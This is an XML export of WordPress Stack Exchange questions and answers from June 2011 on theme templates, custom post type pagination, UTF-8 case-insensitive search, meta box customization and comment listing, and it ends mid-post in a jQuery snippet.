  <row Id="21268" PostTypeId="2" ParentId="19799" CreationDate="2011-06-28T09:24:47.837" Score="0" ViewCount="" Body="&lt;p&gt;Having looked at my 'loop.php' file like Michael said, I replaced &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;entry-summary&quot;&amp;gt;&#xA;            &amp;lt;?php the_excrept(); ?&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;!-- .entry-summary --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;entry-summary&quot;&amp;gt;&#xA;            &amp;lt;?php the_content( __( 'Continue reading &amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;rarr;&amp;lt;/span&amp;gt;', 'twentyten' ) ); ?&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;!-- .entry-summary --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whenever it appeared (Twice, in my case)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;Will&lt;/p&gt;&#xA;" OwnerUserId="5493" LastActivityDate="2011-06-28T09:24:47.837" />
  <row Id="21269" PostTypeId="1" AcceptedAnswerId="21272" CreationDate="2011-06-28T09:32:47.623" Score="0" ViewCount="48" Body="&lt;p&gt;One year ago @t31os answered a post with a code I can't access:&#xA;&lt;a href=&quot;http://wordpress.org/support/topic/search-custom-field-data&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/search-custom-field-data&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;His answer...&#xA;I was feeling adventurous, so i wrote a simple plugin to do it..&#xA;&lt;a href=&quot;http://wordpress.pastebin.ca/1736605&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.pastebin.ca/1736605&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The post search in the admin will now also check against the meta keys and meta values when checking for matching posts... ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get that code so I can use it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Patricia&lt;/p&gt;&#xA;" OwnerUserId="6549" LastEditorUserId="2015" LastEditorDisplayName="" LastEditDate="2011-06-28T11:07:35.500" LastActivityDate="2011-06-28T11:07:35.500" Title="admin : search custom fields" Tags="&lt;admin&gt;&lt;search&gt;" AnswerCount="1" />
  <row Id="21270" PostTypeId="2" ParentId="20431" CreationDate="2011-06-28T09:32:50.083" Score="1" ViewCount="" Body="&lt;p&gt;Hm, if you registered a taxonomy for the &quot;page&quot; object type correctly and then assigned a term of that taxonomy to a page... I believe you can then access the taxonomy and term slugs in the following way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_query_var( 'taxonomy' )&#xA;get_query_var( 'term' )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you &lt;code&gt;print_r($wp_query)&lt;/code&gt; you will see all the parameters that are there when generating a current page that's displayed. With code above you're accessing those parameters from &lt;code&gt;$wp_query&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then to get the term object with full info you can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_term_by&quot; rel=&quot;nofollow&quot;&gt;get_term_by&lt;/a&gt; function, like so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$term = get_term_by( 'slug', get_query_var('term'), get_query_var('taxonomy') );&#xA;echo $term-&amp;gt;name;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will print the &quot;nice&quot; name of the term.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe if you use &lt;code&gt;get_query_var('term')&lt;/code&gt; or &lt;code&gt;$term-&amp;gt;slug&lt;/code&gt; (after getting the term object) you can use that slug in all of other queries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps. I never used taxonomy for pages.&#xA;Let me know how you get on.&lt;/p&gt;&#xA;" OwnerUserId="1343" LastActivityDate="2011-06-28T09:32:50.083" />
  <row Id="21271" PostTypeId="1" CreationDate="2011-06-28T10:10:30.840" Score="0" ViewCount="115" Body="&lt;p&gt;I am currently developing a WordPress website with a custom post_type called &quot;music&quot;. I use the plugin wp-pagenavi to paginate content &quot;music&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I link on the first page, it's OK (see link below) &#xA;&lt;a href=&quot;http://carbonpaper-dev.imperatorium.org/music/page/1&quot; rel=&quot;nofollow&quot;&gt;http://carbonpaper-dev.imperatorium.org/music/page/1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I link on the 2nd page: &#xA;&lt;a href=&quot;http://carbonpaper-dev.imperatorium.org/music/page/2&quot; rel=&quot;nofollow&quot;&gt;http://carbonpaper-dev.imperatorium.org/music/page/2&lt;/a&gt; the expected content is printed, but the template displayed is not the one related to the &quot;music&quot; post_type/page like the first page do but the one related to classic &quot;posts&quot; (not the same sidebar, no inclusion of music playback on click...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I add this instruction to the building of the &quot;music&quot; post_type :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_rewrite_rule(&quot;music/page/([0-9]*)&quot;,&quot;index.php?post_type=music&amp;amp;paged=\$matches[1]&quot;,'top');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But nothing has changed all the more carbonpaper-dev.imperatorium.org/index.php?post_type=music&amp;amp;paged=2 show good content but with the same wrong template;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps, I have to see with hiearchy template nomenclature ? but i've gone several test without success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your reply, and apologies for my English, I'm French...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;beR-&lt;/p&gt;&#xA;" OwnerUserId="6550" LastActivityDate="2011-06-28T10:10:30.840" Title="Pagination problem (plugin wp-pagenavi) with a custom post type" Tags="&lt;custom-post-types&gt;&lt;pagination&gt;&lt;template-redirect&gt;" CommentCount="3" />
  <row Id="21272" PostTypeId="2" ParentId="21269" CreationDate="2011-06-28T10:54:42.703" Score="0" ViewCount="" Body="&lt;p&gt;Don't know what's wrong with that link but you can see an answer to a similar question &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/16637/how-to-filter-post-listing-in-wp-dashboard-posts-listing-using-a-custom-field/16641#16641&quot;&gt;how to filter post listing (in WP dashboard posts listing) using a custom field (search functionality) ?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its just what you are looking for.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-28T10:54:42.703" CommentCount="1" />
  <row Id="21273" PostTypeId="1" CreationDate="2011-06-28T10:56:20.660" Score="0" ViewCount="19" Body="&lt;p&gt;I am currently developing a WordPress website with a custom post_type called &quot;music&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know why &lt;a href=&quot;http://carbonpaper-dev.imperatorium.org/music/&quot; rel=&quot;nofollow&quot;&gt;http://carbonpaper-dev.imperatorium.org/music/&lt;/a&gt; display the good content with a related template for music content &#xA;whereas &lt;a href=&quot;http://carbonpaper-dev.imperatorium.org/index.php?post_type=music&quot; rel=&quot;nofollow&quot;&gt;http://carbonpaper-dev.imperatorium.org/index.php?post_type=music&lt;/a&gt; display the good content with my default template for articles (not the same sidebar, no musical playback capabilities...) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to do to have the same behavior with theses two links ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your reply,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;beR-&lt;/p&gt;&#xA;" OwnerUserId="6550" LastActivityDate="2011-06-28T10:56:20.660" Title="Pb of template redirection" Tags="&lt;template&gt;" CommentCount="2" />
  <row Id="21274" PostTypeId="1" CreationDate="2011-06-28T11:01:13.427" Score="0" ViewCount="27" Body="&lt;p&gt;I'm trying to set up a search/lookup function on a custom post type (&quot;food&quot;), that will launch after saving a post, but I'm lost at what I'm doing wrong regarding special characters and encoding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function is meant to take a custom field provided by the user and attempt to match that to an existing post title; if it finds a perfect match, it retrieves the post ID and adds it to the saved post; if not, it creates yet another post with the custom field as its title. I want to make it &lt;strong&gt;case insensitive&lt;/strong&gt;, and there lies my problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my lookup function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function food_lookup($term, $arr) {&#xA;        $reg = '/' . $term . '/i';&#xA;        $result = array();&#xA;        foreach($arr as $key =&amp;gt; $sub_arr) {&#xA;            $match = preg_grep($reg, $sub_arr);&#xA;            if(!empty($match)) {&#xA;                $result['id'] = $arr[$key]['id'];&#xA;                break;&#xA;            }&#xA;        }&#xA;        return $result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then query my db and retrieve food items (only name &amp;amp; ID) and use a foreach loop to put them in an array in order to perform the lookup. Here's how the relevant part looks (the query is omitted):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$food[$i]['id'] =  $foods_query['id'];&#xA;$food[$i]['label'] =  $foods_query['name']; // Problematic example: 'Éclair'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, for example: if a user enters 'éclair' into my form and I pass that as a $user_string PHP variable, the result from the function above will be empty&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$lookup = ingredient_lookup($user_string, $food); // Returns an empty array...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Turns out $foods_query['name'] is actually 'Ã‰clair'. So:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo(utf_decode($foods_query['name'])); // echoes 'Éclair', which is a starting point, because 'Éclair' search now matches, but it's still case sensitive&#xA;echo(mb_strtolower(utf_decode($foods_query['name']), 'UTF-8')); // echoes 'clair', which would mean I'm doing something wrong&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've also tried encoding the search string, &lt;code&gt;utf8_encode($user_string)&lt;/code&gt;, but, again, it's case sensitive, because 'éclair' encoded is Ã©clair, while the other is Ã‰clair, so the second character will never match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked my wp_config file and the two relevant lines are like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('DB_CHARSET', 'utf8');&#xA;define('DB_COLLATE', '');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No language is set on the blog, so it defaults to English. I've also checked the db in phpMyAdmin: if I run &lt;code&gt;SHOW VARIABLES LIKE  'character%'&lt;/code&gt;, I can see that character_set_client, character_set_connection, character_set_database, character_set_results, character_set_system are all set to utf8, but character_set_server is set to latin1, though I have no idea how to change it, or whether that's actually related to my problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I keep thinking that if only I could get the &lt;code&gt;mb_strtolower()&lt;/code&gt; function working I'd be set, but maybe that was never the way to go. I'm open to any alternative available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(If it's relevant, I'm running Wordpress 3+ Multisite on my local machine with MAMP.)&lt;/p&gt;&#xA;" OwnerUserId="5552" LastActivityDate="2011-06-28T11:01:13.427" Title="Case insensitive search function with special characters" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;database&gt;&lt;encoding&gt;&lt;i18n&gt;" />
  <row Id="21275" PostTypeId="1" AcceptedAnswerId="21294" CreationDate="2011-06-28T11:06:18.410" Score="2" ViewCount="102" Body="&lt;p&gt;I suspect that this is not possible right now, but oh well.. I'll ask, maybe one of you has some intersting thoughts to share.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So let's say we have the following taxonomy terms meta-boxes on our post edit page :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Team accounting&lt;/li&gt;&#xA;&lt;li&gt;Team supergurus&lt;/li&gt;&#xA;&lt;li&gt;Countries&lt;/li&gt;&#xA;&lt;li&gt;Team developers&lt;/li&gt;&#xA;&lt;li&gt;Favorite ice cream&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Wouldn't it be nice to be able to groupe the three &quot;Team&quot; meta-boxes into one &quot;container&quot; box called &quot;Teams&quot; ? This would be just and empty meta-box with a title, containing the three taxonomy meta-boxes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The goal is to be more user friendly and keep the similar meta-boxes grouped together (it can become really confusing when you have a lot of taxonomies)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you think this is doable ?&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-28T13:42:55.587" Title="How to group meta boxes on the post edit page" Tags="&lt;metabox&gt;&lt;taxonomy&gt;&lt;editor&gt;&lt;post-editor&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="4" />
  <row Id="21276" PostTypeId="2" ParentId="15900" CreationDate="2011-06-28T11:07:06.377" Score="1" ViewCount="" Body="&lt;p&gt;It's very possible, but quite hard to accomplish reliably for all cases (I am currently working on a plugin for client that does this and more).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you need this for specific blog that you have control over - then task can be simplified with some constrains - mainly limiting processing to attachments only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;filter &lt;code&gt;the_content_rss&lt;/code&gt;, extract all images with regexp;&lt;/li&gt;&#xA;&lt;li&gt;determine attachments IDs for images, see &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6645/turn-a-url-into-an-attachment-post-id&quot;&gt;this question and my answer there&lt;/a&gt; for some helpful code;&lt;/li&gt;&#xA;&lt;li&gt;retrieve attachment &lt;code&gt;img&lt;/code&gt; tag in smaller size and replace currently used version with it.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-28T11:07:06.377" />
  <row Id="21277" PostTypeId="1" CreationDate="2011-06-27T23:28:03.980" Score="0" ViewCount="33" Body="&lt;p&gt;Is there anyway to echo a function into a wordpress shortcode?&#xA;heres my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;subscription&quot;&amp;gt;&#xA;&amp;lt;?php echo do_shortcode('[nggallery id=$ID]');?&amp;gt;&#xA;&amp;lt;/div&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$ID is a function that grabs a number generated in the url&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" LastEditorUserId="6648" LastEditorDisplayName="" LastEditDate="2011-06-30T19:55:13.277" LastActivityDate="2011-08-30T01:36:40.890" Title="Echoing function into Wordpress NextGen gallery" Tags="&lt;functions&gt;&lt;shortcode&gt;" AnswerCount="1" />
  <row Id="21278" PostTypeId="2" ParentId="21277" CreationDate="2011-06-28T00:43:04.200" Score="0" ViewCount="" Body="&lt;p&gt;how about something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;subscription&quot;&amp;gt;&#xA; &amp;lt;?php echo do_shortcode('[nggallery id='.$ID.']');?&amp;gt;&#xA;&amp;lt;/div&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2011-06-28T00:43:04.200" />
  <row Id="21279" PostTypeId="1" CreationDate="2011-06-28T01:10:56.023" Score="1" ViewCount="76" Body="&lt;p&gt;Anyone know of a way to change the title of the core Wordpress metaboxes on a post edit screen? I'm trying to alter the title of the &quot;Featured Image&quot; metabox and have found a way to edit the contents (via *admin_post_thumbnail_html*) but not the title itself.&lt;/p&gt;&#xA;" LastActivityDate="2011-06-28T12:23:28.410" Title="Wordpress - Change Metabox Title" Tags="&lt;untagged&gt;" AnswerCount="2" />
  <row Id="21280" PostTypeId="2" ParentId="21279" CreationDate="2011-06-28T07:44:15.807" Score="0" ViewCount="" Body="&lt;p&gt;There's no WordPress hook for &lt;code&gt;admin_post_thumbnail_title&lt;/code&gt;, but you can change the &quot;Featured Image&quot; title with JavaScript instead. Add this to your theme's &lt;code&gt;functions.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action( 'admin_head', 'change_featured_image_title' );&#xA;&#xA;function change_featured_image_title(){&#xA;echo &amp;lt;&amp;lt;&amp;lt;EOT&#xA;&amp;lt;script&amp;gt;&#xA;jQuery(document).ready(function(){&#xA;&#xA;   if(jQuery(&quot;div#postimagediv.postbox h3.hndle span&quot;).length){&#xA;        jQuery(&quot;div#postimagediv.postbox h3.hndle span&quot;).html(&quot;Your New Title Here&quot;);&#xA;   }&#xA;&#xA;}); &#xA;&amp;lt;/script&amp;gt;&#xA;EOT;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This loads a piece of script into the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; section of your admin pages that changes the title of the featured image box with JavaScript:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/QjDje.jpg&quot; alt=&quot;wordpress featured image box change title&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4997" LastActivityDate="2011-06-28T07:44:15.807" CommentCount="1" />
  <row Id="21281" PostTypeId="1" CreationDate="2011-06-28T11:42:36.667" Score="0" ViewCount="75" Body="&lt;p&gt;I'm trying to make my WP custom menu to behave like this the superfish navbar:&#xA;&lt;a href=&quot;http://users.tpg.com.au/j_birch/plugins/superfish/#sample4&quot; rel=&quot;nofollow&quot;&gt;http://users.tpg.com.au/j_birch/plugins/superfish/#sample4&lt;/a&gt;  I think I've managed to get some parts working e.g. the animation on mouseover, however, the navigation is not currently 'sticking' to current page, e.g. click on a subpage, and the navigation for the 2nd/3rd tier disappears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've followed instructions from here: &lt;a href=&quot;http://www.astronautdesigns.com/2010/11/wordpress-3-jquery-drop-down-menu/&quot; rel=&quot;nofollow&quot;&gt;http://www.astronautdesigns.com/2010/11/wordpress-3-jquery-drop-down-menu/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can view the result so far: www.aim-architecture.com/index.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice/help greatly appreciated! Thank you in advance.&lt;/p&gt;&#xA;" OwnerUserId="6552" LastEditorUserId="6552" LastEditorDisplayName="" LastEditDate="2011-06-28T13:06:51.337" LastActivityDate="2011-06-28T13:06:51.337" Title="superfish menu: hoverintent and current page not staying" Tags="&lt;custom-menus&gt;" />
  <row Id="21282" PostTypeId="1" CreationDate="2011-06-28T09:22:31.870" Score="0" ViewCount="103" Body="&lt;p&gt;Today I tried several times to login my wp backend with my account.&#xA;But the the strange thing is that even with the correct pass it still can't allow me to login.&#xA;After that I followed the guide of this page to change my pass with phpmyadmin.&#xA;&lt;a href=&quot;http://www.tamba2.org.uk/wordpress/phpmyadmin/&quot; rel=&quot;nofollow&quot;&gt;http://www.tamba2.org.uk/wordpress/phpmyadmin/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the login function still not work for me and without saying any error like:&#xA;&quot;user name error&quot; or &quot;password error&quot; and the email function for sending the pass is not available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This problem is not happened this time only. But I think this time I can not login completely.&#xA;So does anyone has the same problem and has been solved or do you have any idea about the most possible part to cause this problem ? Thanks a million!     &lt;/p&gt;&#xA;" LastEditorUserId="4610" LastEditorDisplayName="" LastEditDate="2011-06-28T12:57:46.203" LastActivityDate="2011-08-28T11:59:59.283" Title="Wordpress backend login failed with the correct" Tags="&lt;wp-admin&gt;&lt;login&gt;&lt;password&gt;&lt;phpmyadmin&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="21283" PostTypeId="2" ParentId="21279" CreationDate="2011-06-28T12:23:28.410" Score="2" ViewCount="" Body="&lt;p&gt;If, like me, you like things to work without js, you can provide your own text for ALL translateable text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically create translations for the text you want to change.  Non-english speakers do it all the time - it's not that hard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://icalevents.com/3445-an-accent-for-your-website/&quot; rel=&quot;nofollow&quot;&gt;http://icalevents.com/3445-an-accent-for-your-website/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3569" LastActivityDate="2011-06-28T12:23:28.410" />
  <row Id="21284" PostTypeId="1" AcceptedAnswerId="21299" CreationDate="2011-06-28T12:56:10.733" Score="1" ViewCount="65" Body="&lt;p&gt;I am using &lt;strong&gt;wp_list_comments()&lt;/strong&gt; function  to draw the comment list.But,I want change many things in the form like class,styles, reply link and etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so please help me, How can i customize the comment listing function&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks  &lt;/p&gt;&#xA;" OwnerUserId="4022" LastEditorUserId="4022" LastEditorDisplayName="" LastEditDate="2011-06-28T13:06:48.997" LastActivityDate="2011-06-28T14:02:22.340" Title="How can i customize the comment list" Tags="&lt;theme-development&gt;&lt;customization&gt;&lt;comment-form&gt;" AnswerCount="5" CommentCount="2" />
  <row Id="21285" PostTypeId="2" ParentId="21282" CreationDate="2011-06-28T12:57:04.207" Score="0" ViewCount="" Body="&lt;p&gt;There is a full codex article on how to reset your WordPress password &lt;a href=&quot;http://codex.wordpress.org/Resetting_Your_Password&quot; rel=&quot;nofollow&quot;&gt;Resetting Your Password&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you tried them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also have you installed any plugins that mess with WordPress login functions? Things like LDAP plugins and lockout plugins maybe causing issues. If you have installed such plugins then go to your plugins dir (usually /wp-content/plugins) and rename those plugins folder names to something else. What this will do is disable those plugins so you can login again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also take a look in the URL and make sure you are logging into the correct location. If you have moved your wordpress to a different install location then if you haven't moved it correctly there could be settings still pointing to old login address.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-06-28T12:57:04.207" />
  <row Id="21287" PostTypeId="2" ParentId="21284" CreationDate="2011-06-28T13:04:21.750" Score="1" ViewCount="" Body="&lt;p&gt;I'd look at using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/comment_form&quot; rel=&quot;nofollow&quot;&gt;comment_form();&lt;/a&gt;. It will give you a default layout of a comment form but you can pass &lt;code&gt;$args&lt;/code&gt; to it to modify each section.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-06-28T13:04:21.750" CommentCount="2" />
  <row Id="21288" PostTypeId="2" ParentId="21284" CreationDate="2011-06-28T13:07:43.507" Score="2" ViewCount="" Body="&lt;p&gt;Comment is Easily Customaziable.&#xA;for example: code for cancel the reply link&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php cancel_comment_reply_link(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;if you want custom the Text like Reply means Replace Text...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php cancel_comment_reply_link(text); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Text to display as a link. If empty, it will return the default: 'Click here to cancel reply.'it should be work.&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-06-28T13:07:43.507" CommentCount="4" />
  <row Id="21289" PostTypeId="2" ParentId="21284" CreationDate="2011-06-28T13:20:16.790" Score="3" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_list_comments&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_list_comments()&lt;/code&gt;&lt;/a&gt; uses &lt;code&gt;Walker_Comment&lt;/code&gt; class (that extends generic &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/Walker_Class&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;Walker&lt;/code&gt;&lt;/a&gt;) to generate output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need extensive customization you should extend &lt;code&gt;Walker_Comment&lt;/code&gt; with your own class and pass instance of it as &lt;code&gt;walker&lt;/code&gt; argument to the function.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-28T13:20:16.790" CommentCount="2" />
  <row Id="21290" PostTypeId="2" ParentId="21284" CreationDate="2011-06-28T13:25:57.957" Score="4" ViewCount="" Body="&lt;p&gt;You could just take a look at the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_list_comments&quot; rel=&quot;nofollow&quot;&gt;Codex Page for wp_list_comments&lt;/a&gt; which has some example code for customising comment listings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will see from that page that you can add a callback function to &lt;code&gt;wp_list_comments&lt;/code&gt; which is normally used to customise how comments are listed&lt;/p&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-06-28T14:02:22.340" LastActivityDate="2011-06-28T14:02:22.340" CommentCount="4" />
  <row Id="21291" PostTypeId="1" CreationDate="2011-06-28T03:26:33.063" Score="1" ViewCount="73" Body="&lt;p&gt;I want to add text on a single wordpress blog post page where the &quot;read more&quot; text would usually be inserted.  However, I can't configure a plugin to replace that text.  I tried a few different sources, but I'm having trouble finding the solution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After looking through &lt;a href=&quot;http://stackoverflow.com/questions/887447/wordpress-plugin-finding-the-more-in-the-content&quot;&gt;WordPress plugin: finding the &amp;lt;!--more--&amp;gt; in the_content&lt;/a&gt; and the page it links to, I still haven't been able to find a solution to this.  &lt;/p&gt;&#xA;" LastActivityDate="2011-06-28T13:54:24.837" Title="Wordpress - how to replace &lt;!--more--&gt; with string on the_content() in single.php" Tags="&lt;php&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="21292" PostTypeId="2" ParentId="21291" CreationDate="2011-06-28T05:06:43.640" Score="1" ViewCount="" Body="&lt;p&gt;what version are you using? in wp 3.0 above you can use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_content( __( 'Continue reading &amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;rarr;&amp;lt;/span&amp;gt;', twentyten' ) ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2011-06-28T05:06:43.640" CommentCount="1" />
  <row Id="21293" PostTypeId="1" CreationDate="2011-06-28T13:42:06.867" Score="1" ViewCount="33" Body="&lt;p&gt;Ok, I am pretty new to wordpress, and I have been reading a lot of the documentation online and testing things out on my own blog.  I have just run into a couple of general questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first glance for a newb editing the PHP is a little over-whelming. Different themes have different files.  There is a whole list of functions that I need to get used to.  I started to fret because I wasn't sure where to start if I wanted to make simple tweaks to a post, a page etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been reading a lot of the documentation of how Wordpress is structured and how wordpress posts get populated, so I'm starting to understand a little better, but I still have a question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried installing a few plugins and some cases I noticed that after I switched themes, the plugin didn't work.  In cases like that, do I need to edit the PHP files of the theme to make the plugin work?  Or am I missing settings somewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any assistance or explanation would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="6554" LastActivityDate="2011-06-28T15:01:55.550" Title="New to wordpress, Question about editing PHP" Tags="&lt;plugins&gt;&lt;php&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="21294" PostTypeId="2" ParentId="21275" CreationDate="2011-06-28T13:42:55.587" Score="5" ViewCount="" Body="&lt;p&gt;Thanks for the hint Bainternet, indeed this is very easy to implement with jQuery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example (the four meta boxes are closed for clarity) :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/P4KD1.png&quot; alt=&quot;Example of four taxonomy meta-boxes grouped into a container meta-box&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I did :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var $j = jQuery.noConflict();&#xA;$j(document).ready(function() {&#xA;    $j(&quot;#side-sortables&quot;).append('&amp;lt;div id=&quot;container_div&quot; class=&quot;postbox meta-box-sortables ui-sortable&quot;&amp;gt;&amp;lt;div class=&quot;handlediv&quot; title=&quot;Click to toggle.&quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;h3 class=&quot;hndle&quot;&amp;gt;&amp;lt;span&amp;gt;Container Meta Box&amp;lt;/span&amp;gt;&amp;lt;/h3&amp;gt;&amp;lt;div 